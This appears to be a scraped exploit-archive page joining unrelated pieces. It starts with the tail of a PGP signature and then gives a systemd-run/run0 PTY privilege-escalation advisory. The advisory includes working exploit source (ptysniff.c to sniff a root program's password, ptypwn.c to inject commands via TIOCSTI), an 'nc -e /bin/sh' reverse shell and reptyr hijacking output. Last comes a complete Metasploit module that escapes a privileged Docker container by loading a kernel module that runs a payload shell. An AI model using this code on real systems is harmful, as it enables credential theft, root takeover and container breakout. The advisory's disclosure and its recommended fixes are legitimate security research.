SIGNATURE----- iQIzBAEBCAAdFiEE6mgEBCu3JYBqmGrgDIJc8mYSY6UFAmY4k7YACgkQDIJc8mYS Y6Xa1A//cTQ41Wp55MJwjE0t7ABw1RSmPskosPycpMxKgU79LH7xwGLpTaRxd1H9 BiNK/Q/4j5Ad4JtM4TDwb0j7XGj07/Cp+hBcomqKohe7hgVflhZOzUcWKvfQUbQt 1yto71AauEpTz32YebZMxrFJLUXtnJU9pPQnAB5iZOyDT5rsXvEBmCnG6OF1kviy juXiiR15rZEiiWdW+CaAz3qr07Te0WD1i14IPvE55tuKNwp9LOZr9+Fl3CM2atxs /LSjgZnTIWODnpnuAD3D2XT5XIj1AK5cEGgg+si4UuYFK/v0nTP4Pytlw2HbS0au WvAqtiI8YwuhQOYvsXoQ5UYHjZzc2BrQ5mn2MujHb17/eMyG2o3bgPnZ9x+PxDSi Z++4iRnwolip0ha2E0bIwq8dVyHYcCPfwkrAk3vSmvLmzEivz+OyXPPWwB6EVq8q 3/DRa9fcVO985bxOeBHImyqgPLm8je70Z51GBezCPlHltYXZ8AHpBzqc7Jp0DgUB UYlQ3y3a62E5oQ8Uo0S7YFkM7ZYhFaxBeVZs4gC1QOo2FNyQjVvD11digf9M+uSR aH3SwpHhYSIremKeWG9xDGCjN2fiSuEJHdhwAzWUHFa1b7PArB3Ypq3ILKgJyIwx 1S/LYqnuiCC00tp48b8AzMUdYqyeXIfhvOiYMEzzBIq2Ft+IW9U= =hWhw -----END PGP SIGNATURE----- </code></pre>

<pre><code>Systemd Insecure PTY Handling Vulnerability =========================================== CVSSv3.BaseScore: 5.8 CVSSv3.Vector: AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:L/A:N Short Description ================= Systemd-run/run0 allocates user-owned pty's and attaches the slave to high privilege programs without changing ownership or locking the pty slave. Description =========== Systemd-run/run0 is working towards a "sudo"-like replacement for v256 that is based on the existing policykit and d-bus based "systemd-run" transient service execution. The code in "src/run/run.c" on line 1673 creates a PTY master and slave used for this process, and the slave name is passed to unlockpt() on line 1689. This allows any process to connect to e.g. "/dev/pts/4" slave interface, this interface is created under the local user context executing "systemd-run". The code subsequently uses a PTY forwarder (src/shared/ptyfwd.c) and d-bus once authentication by policykit is approved, the slave end of the pty created will be attached to the privileged executed program. As the slave interface is not locked to the privilege level of the newly executed process, a vulnerability is introduced to the system as any same-user process can now interact with the slave end of the root program. Exploitation ============ This issue can be exploited by opening a handle to the slave interface and using terminal I/O routines such as read() to access the input of the root program. Slave PTY's are not designed for multiple programs to access them and this has the unintended effect of redirecting input intended for the privileged program back to unprivileged processes, an example code "ptysniff.c" is provided here and terminal output that shows the issue being used to read input from a systemd-run executed "passwd" program, returning the password intended for the root program back to the local user. User Terminal ============= The user executes systemd with "--pty" to allocate a new "root" pty and execute "passwd" in the new terminal. fantastic@fantastic-pc /dev/pts  systemd-run --pty passwd ==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ==== Authentication is required to manage system services or other units. Authenticating as: fantastic Password: ==== AUTHENTICATION COMPLETE ==== Running as unit: run-u63.service Press ^] three times within 1s to disconnect TTY. New password: Retype new password: Attacker Terminal ================= The slave end of the systemd-run terminal is still owned by the local user context, "/dev/pts/5" in the example above - allowing ptysniff to read the password input intended to be sent to "passwd". fantastic@fantastic-pc  /Work/voldermort  ls -al /dev/pts/5 Permissions Size User Date Modified Name crw--w---- 136,5 fantastic 4 May 08:51  /dev/pts/5 fantastic@fantastic-pc  /Work/voldermort  ./ptysniff /dev/pts/5 Received: p Received: a Received: s Received: s Received: w Received: o Received: r Received: d Received: /* ptysniff.c - read from a slave pts used by a higher privileged program */ #include <fcntl.h> #include <stdio.h> #include <unistd.h> #include <sys/file.h> #define BUF_SIZE 1024 int main(int argc, char *argv[]) { if (argc != 2) { fprintf(stderr, "Usage: %s <pts>\n", argv[0]); return 1; } int fd = open(argv[1], O_RDWR | O_NOCTTY); if (fd == -1) { perror("open"); return 1; } char buf[BUF_SIZE]; ssize_t numRead; while (1) { if (flock(fd, LOCK_EX) == -1) { perror("flock"); return 1; } numRead = read(fd, buf, BUF_SIZE - 1); if (numRead == -1) { perror("read"); return 1; } for (int i = 0; i < numRead; i++) { printf("Received: %c\n", buf[i]); } if (flock(fd, LOCK_UN) == -1) { perror("flock"); return 1; } } return 0; } Recommendation ============== It is recommended the systemd-run created pty slave interface is chown()'d to the same user as the privileged execution context that it operates, this would result in "permission denied" when attempting to attach another program to the slave end of the pty. Additional Information ====================== In addition to the vulnerability outlined above, it is possible to exploit the problem to execute commands or completely hijack the root owned program from the same-user context when other conditions are met. Linux Kernel since around 4.1 has enabled ptrace YAMA, a protection that limits the use of ptrace for debugging purposes. With ptrace_classic set to enabled, such as with the following command. "echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope" It is possible to simply read the master fd for the pty from the "systemd-run" application, and re-parent a process to use the master end - hijacking the root program which would not be accessible to ptrace. This can be done with GDB (set inferior tty) or a tool such as "reptyr". User Terminal ============= fantastic@fantastic-pc  /Work/systemd   main   systemd-run --shell Running as unit: run-u87.service; invocation ID: abc22b3152ae48cea20ce86c11b555a1 Press ^] three times within 1s to disconnect TTY. [root@fantastic-pc systemd]# Attacker Terminal ================= fantastic@fantastic-pc  /Work/systemd   main   ps -aef | grep systemd-run | grep shell | grep -v grep;id;tty fantast+ 5541 5477 0 09:08 pts/6 00:00:00 systemd-run --shell uid=1000(fantastic) gid=1000(fantastic) groups=1000(fantastic),90(network),96(scanner),98(power),985(video),986(uucp),987(storage),990(optical),991(lp),994(input),998(wheel) /dev/pts/1 fantastic@fantastic-pc  /Work/systemd   main   reptyr -T 5541 [root@fantastic-pc systemd]# id uid=0(root) gid=0(root) groups=0(root) [root@fantastic-pc systemd]# tty /dev/pts/0 Enabling ptrace_classic should not result in "root" permissions to unprivileged users, many operating systems support debugging applications and can do so without immediately giving away Administrative rights, YAMA is intended to provide this protection. However, sessions and terminals started under "SSHD" for instance are protected against these attacks through use of "prctl()" to prevent ptrace_attach from connecting to the process, preventing them being read even with ptrace_classic. This issue can also impact "su" and "sudo" and is a wider problem in Linux when ptrace_classic is enabled. Ensure that production systems do not support the use of ptrace_classic. Another path of exploitation can also be undertaken by an attacker when ptrace_classic is disabled, however they must be able to re-parent their tty or have control of execution of a child within the parent process. Attempts to call ioctl() with TIOCSTI historically required only the same user-context to access the tty, however to limit these attacks Linux now requires the process calling the ioctl() to be a descendant of the parent process using the pty or have the pty set as its controlling terminal. An example is shown here, an attacker uses "nc" to execute "ptypwn" and hijack a root program executed later through systemd-run by the parent. The source code for ptypwn.c is provided. User Terminal ============= fantastic@fantastic-pc    tty /dev/pts/3 fantastic@fantastic-pc    nc -e /bin/sh localhost 1337 & [1] 6926   fantastic@fantastic-pc    systemd-run --shell ==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ==== Authentication is required to manage system services or other units. Authenticating as: fantastic Password: ==== AUTHENTICATION COMPLETE ==== Running as unit: run-u100.service Press ^] three times within 1s to disconnect TTY. [root@fantastic-pc fantastic]# id uid=0(root) gid=0(root) groups=0(root) [root@fantastic-pc fantastic]# id uid=0(root) gid=0(root) groups=0(root) [root@fantastic-pc fantastic]# id uid=0(root) gid=0(root) groups=0(root) [root@fantastic-pc fantastic]# Attacker Terminal ================= fantastic@fantastic-pc  /Work/voldermort  nc -v -v -l -p 1337 Listening on any address 1337 (menandmice-dns) Connection from 127.0.0.1:49282 tty;id not a tty uid=1000(fantastic) gid=1000(fantastic) groups=1000(fantastic),90(network),96(scanner),98(power),985(video),986(uucp),987(storage),990(optical),991(lp),994(input),998(wheel) ./ptypwn /dev/pts/3 ./ptypwn /dev/pts/3 ./ptypwn /dev/pts/3 /* ptypwn.c - use TIOCSTI ioctl to inject commands into user-owned pty */ #include <fcntl.h> #include <stdio.h> #include <string.h> #include <sys/ioctl.h> int main(int argc, char *argv[]) { if (argc != 2) { fprintf(stderr, "Usage: %s <pts>\n", argv[0]); return 1; } int fd = open(argv[1], O_RDWR); if (fd < 0) { perror("open"); return -1; } char *x = "id\n"; while (*x != 0) { int ret = ioctl(fd, TIOCSTI, x); if (ret == -1) { perror("ioctl()"); } x++; } return 0; } Additionally systemd-run supports a "--pipe" operation which will simply connect the privileged process to the same-user parent tty directly, this option should be removed entirely as it offers no protection against the attacks outlined above. PolicyKit / sudoer Configuration Discrepancy ============================================ It is worth noting that a common misconfiguration can present itself in systemd/policykit Linux environments where users are not permitted to execute commands through "sudo" but are permitted to execute commands through policykit services such as "systemd-run". This can lead to attackers who would be denied "sudo" requests being able to obtain "root" permissions through "systemd-run". An example of this configuration error can be seen below, as "systemd-run" proposes to become a "sudo" replacement, this issue has been included for completeness and for system administrators to review their sudo and policykit configurations to ensure such discrepancies do not exist. fantastic@fantastic-pc    sudo su - fantastic is not in the sudoers file.   fantastic@fantastic-pc    systemd-run --shell ==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ==== Authentication is required to manage system services or other units. Authenticating as: fantastic Password: ==== AUTHENTICATION COMPLETE ==== Running as unit: run-u107.service Press ^] three times within 1s to disconnect TTY. [root@fantastic-pc fantastic]# id uid=0(root) gid=0(root) groups=0(root) TLDR; Conclusion ================ Systemd-run/run0 should chown() the created slave pty interface to the same user context using the pty, this will limit privilege escalation opportunities within the system and address the medium risk issue highlighted at the start of this advisory. The additional information in this advisory discusses wider Linux pty security handling issues, insecure configurations and thier exploitation naunces that can be leveraged for privilege escalation attacks. Whilst these tactics will serve Red Team's targetting Linux, it is noted that similar threats against Microsoft's recently introduced "sudo" that allowed any local user to obtain elevated rights through insecure pipe handlers were quickly addressed. It is also noted that despite the insecure system configurations, applications such as "SSHD" protect against some of the highlighted risks through proper use of prctl() to prevent ptrace_attach() and hardening on TTY allocation and handling. Fixing the vulnerability outlined in systemd-run through chown() is recommended, the Linux community should take note that the attacker threatscape has changed significantly with a renewed interest in targetting these systems by adversaries - consideration should be given to hardening PTY/TTY handling processes and protection against ptrace_classic regardless when privileged system operations take place. Attackers are less likely to use on-disk methods such as manipulation of .profile or .bashrc when they can simply hijack the requested permissions at a later date without touching disk from implants or other malicious code that has obtained execution in the contexts described above. In relation to security boundaries, the polkit authentication request sent by systemd-run is ONE-SHOT, as opposed to persitent. This means that every request to systemd-run for elevation should present the user with a password prompt, by exploiting this issue the elevation request behaves as persistent for the lifecycle of the elevated program. -- Hacker Fantastic 04/05/2024 https://hacker.house </code></pre>

<pre><code>## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Post::File include Msf::Post::Unix include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, { 'Name' => 'Docker Privileged Container Kernel Escape', 'Description' => %q{ This module performs a container escape onto the host as the daemon user. It takes advantage of the SYS_MODULE capability. If that exists and the linux headers are available to compile on the target, then we can escape onto the host. }, 'License' => MSF_LICENSE, 'Author' => [ 'Nick Cottrell <Rad10Logic>', # Module writer 'Eran Ayalon', # PoC/article writer 'Ilan Sokol' # PoC/article writer ], 'Platform' => %w[linux unix], 'Arch' => [ARCH_CMD], 'Targets' => [['Automatic', {}]], 'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 20 }, 'SessionTypes' => %w[shell meterpreter], 'DefaultTarget' => 0, 'References' => [ %w[URL https://www.cybereason.com/blog/container-escape-all-you-need-is-cap-capabilities], %w[URL https://github.com/maK-/reverse-shell-access-kernel-module] ], 'DisclosureDate' => '2014-05-01', # Went in date of commits in github URL 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'Reliability' => [ REPEATABLE_SESSION ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ] } } ) ) register_advanced_options([ OptString.new('KernelModuleName', [true, 'The name that the kernel module will be called in the system', rand_text_alpha(8)], regex: /^[\w-]+$/), OptString.new('WritableContainerDir', [true, 'A directory where we can write files in the container', "/tmp/.#{rand_text_alpha(4)}"]) ]) end # Check we have all the prerequisites to perform the escape def check # Checking database if host has already been disclosed as a container container_name = if active_db? && framework.db.workspace.hosts.where(address: session.session_host)&.first&.virtual_host framework.db.workspace.hosts.where(address: session.session_host)&.first&.virtual_host else get_container_type end unless %w[docker podman lxc].include?(container_name.downcase) return Exploit::CheckCode::Safe('Host does not appear to be container of any kind') end # is root user unless is_root? return Exploit::CheckCode::Safe('Exploit requires root inside container') end # Checking if the SYS_MODULE capability is enabled capability_bitmask = read_file('/proc/1/status')[/^CapEff:\s+[0-9a-f]{16}$/][/[0-9a-f]{16}$/].to_i(16) unless capability_bitmask & 0x0000000000010000 > 0 return Exploit::CheckCode::Safe('SYS_MODULE Capability does not appear to be enabled') end CheckCode::Vulnerable('Inside Docker container and target appears vulnerable.') end def exploit krelease = kernel_release # Check if kernel header folders exist kernel_headers_path = [ "/lib/modules/#{krelease}/build", "/usr/src/kernels/#{krelease}" ].find { |path| directory?(path) } unless kernel_headers_path fail_with(Failure::NoTarget, 'Kernel headers for this target do not appear to be installed.') end vprint_status("Kernel headers found at: #{kernel_headers_path}") # Check that our required binaries are installed unless command_exists?('insmod') fail_with(Failure::NoTarget, 'insmod does not appear to be installed.') end unless command_exists?('make') fail_with(Failure::NoTarget, 'make does not appear to be installed.') end # Check that container directory is writable if directory?(datastore['WritableContainerDir']) && !writable?(datastore['WritableContainerDir']) fail_with(Failure::BadConfig, "#{datastore['WritableContainerDir']} is not writable") end # Checking that kernel module isn't already running if kernel_modules.include?(datastore['KernelModuleName']) fail_with(Failure::BadConfig, "#{datastore['KernelModuleName']} is already loaded into the kernel. You may need to remove it manually.") end # Creating source files print_status('Creating files...') mkdir(datastore['WritableContainerDir']) unless directory?(datastore['WritableContainerDir']) write_kernel_source(datastore['KernelModuleName'], payload.encoded) write_makefile(datastore['KernelModuleName']) register_files_for_cleanup([ "#{datastore['KernelModuleName']}.c", 'Makefile' ].map { |filename| File.join(datastore['WritableContainerDir'], filename) }) # Making exploit print_status('Compiling the kernel module...') results = cmd_exec("make -C '#{datastore['WritableContainerDir']}' KERNEL_DIR='#{kernel_headers_path}' PWD='#{datastore['WritableContainerDir']}'") vprint_status('Make results') vprint_line(results) register_files_for_cleanup([ 'Module.symvers', 'modules.order', "#{datastore['KernelModuleName']}.mod", "#{datastore['KernelModuleName']}.mod.c", "#{datastore['KernelModuleName']}.mod.o", "#{datastore['KernelModuleName']}.o" ].map { |filename| File.join(datastore['WritableContainerDir'], filename) }) # Checking if kernel file exists unless file_exist?("#{datastore['WritableContainerDir']}/#{datastore['KernelModuleName']}.ko") fail_with(Failure::PayloadFailed, 'Kernel module did not compile. Run with verbose to see make errors.') end print_good('Kernel module compiled successfully') # Loading module and running exploit print_status('Loading kernel module...') results = cmd_exec("insmod '#{datastore['WritableContainerDir']}/#{datastore['KernelModuleName']}.ko'") unless results.blank? results = results.strip vprint_status('Insmod results: ' + (results.count("\n") == 0 ? results : '')) vprint_line(results) if results.count("\n") > 0 end end def cleanup # Attempt to remove kernel module if kernel_modules.include?(datastore['KernelModuleName']) vprint_status('Cleaning kernel module') cmd_exec("rmmod #{datastore['KernelModuleName']}") end # Check that kernel module was removed if kernel_modules.include?(datastore['KernelModuleName']) print_warning('Payload was not a oneshot and cannot be removed until session is ended') print_warning("Kernel module [#{datastore['KernelModuleName']}] will need to be removed manually") end super end def write_kernel_source(filename, payload_content) file_content = <<~SOURCE #include<linux/init.h> #include<linux/module.h> #include<linux/kmod.h> MODULE_LICENSE("GPL"); static int start_shell(void){ #{Rex::Text.to_c(payload_content, Rex::Text::DefaultWrap, 'command')} char *argv[] = {"/bin/bash", "-c", command, NULL}; static char *env[] = { "HOME=/", "TERM=linux", "PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL }; return call_usermodehelper(argv[0], argv, env, UMH_WAIT_EXEC); } static int init_mod(void){ return start_shell(); } static void exit_mod(void){ return; } module_init(init_mod); module_exit(exit_mod); SOURCE filename = "#{filename}.c" unless filename.end_with?('.c') write_file(File.join(datastore['WritableContainerDir'], filename), file_content) end def write_makefile(filename) file_contents = <<~SOURCE obj-m +=#{filename}.o all: \tmake -C $(KERNEL_DIR) M=$(PWD) modules clean: \tmake -C $(KERNEL_DIR) M=$(PWD) clean SOURCE write_file(File.join(datastore['WritableContainerDir'], 'Makefile'), file_contents) end end </code></pre>